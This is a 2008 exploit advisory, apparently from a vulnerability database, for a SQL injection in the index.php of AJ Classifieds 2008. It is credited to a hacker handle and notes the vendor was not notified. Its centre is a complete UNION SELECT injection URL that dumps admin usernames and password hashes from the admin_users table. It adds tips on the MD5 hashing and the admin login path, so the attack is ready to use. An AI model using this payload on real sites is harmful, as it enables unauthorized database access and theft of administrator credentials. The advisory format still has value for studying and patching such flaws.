AJ Classifieds 2008 (index.php) Remote SQL Injection Vulnerability

🗓️ 15 May 2008 00:00:00Reported by RootType

AJ Classifieds 2008 Remote SQL Injection Vulnerability. Insecure mysql query allows remote attacker to execute arbitrary code


                                                --==+================================================================================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AJ&nbsp;Classifieds&nbsp;2008&nbsp;(index.php)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--



Discovered&nbsp;By:&nbsp;t0pP8uZz
Discovered&nbsp;On:&nbsp;12&nbsp;MAY&nbsp;2008
Script&nbsp;Download:&nbsp;http://www.ajsquare.com/products/classifieds/index.php?auc=1
DORK:&nbsp;N/A



Vendor&nbsp;Has&nbsp;Not&nbsp;Been&nbsp;Notified!



DESCRIPTION:&nbsp;

AJ&nbsp;Classifieds&nbsp;2008&nbsp;(and&nbsp;possibly&nbsp;prior&nbsp;verisons)&nbsp;suffers&nbsp;from&nbsp;a&nbsp;insecure&nbsp;mysql&nbsp;query,&nbsp;This&nbsp;allows&nbsp;the
remote&nbsp;attacker&nbsp;to&nbsp;arbitrary&nbsp;execute&nbsp;mysql&nbsp;code/querys.

the&nbsp;below&nbsp;injection&nbsp;will&nbsp;perform&nbsp;a&nbsp;SELECT&nbsp;query&nbsp;which&nbsp;will&nbsp;display&nbsp;admin&nbsp;credentials&nbsp;in&nbsp;RED&nbsp;text.



SQL&nbsp;Injection:

http://site.com/index.php?do=details_posting&amp;cat_id=5&amp;posting_id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,CONCAT(0x3C666F6E7420636F6C6F723D22726564223E,user_name,char(58),password,0x3C2F666F6E743E),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44/**/FROM/**/admin_users/**/LIMIT/**/0,1/*



NOTE/TIP:&nbsp;

passwords&nbsp;are&nbsp;in&nbsp;md5&nbsp;(MD5&nbsp;Algorithms)
admin&nbsp;login&nbsp;is&nbsp;at&nbsp;&quot;/admin/adminlogin.php&quot;

&quot;magic_quotes_gpc&quot;&nbsp;must&nbsp;be&nbsp;on



GREETZ:&nbsp;milw0rm.com,&nbsp;h4ck-y0u.org,&nbsp;CipherCrew&nbsp;!


peace,&nbsp;t0pP8uZz


--==+================================================================================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AJ&nbsp;Classifieds&nbsp;2008&nbsp;(index.php)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--

15 May 2008 00:00Current

7.1High risk

Vulners AI Score7.1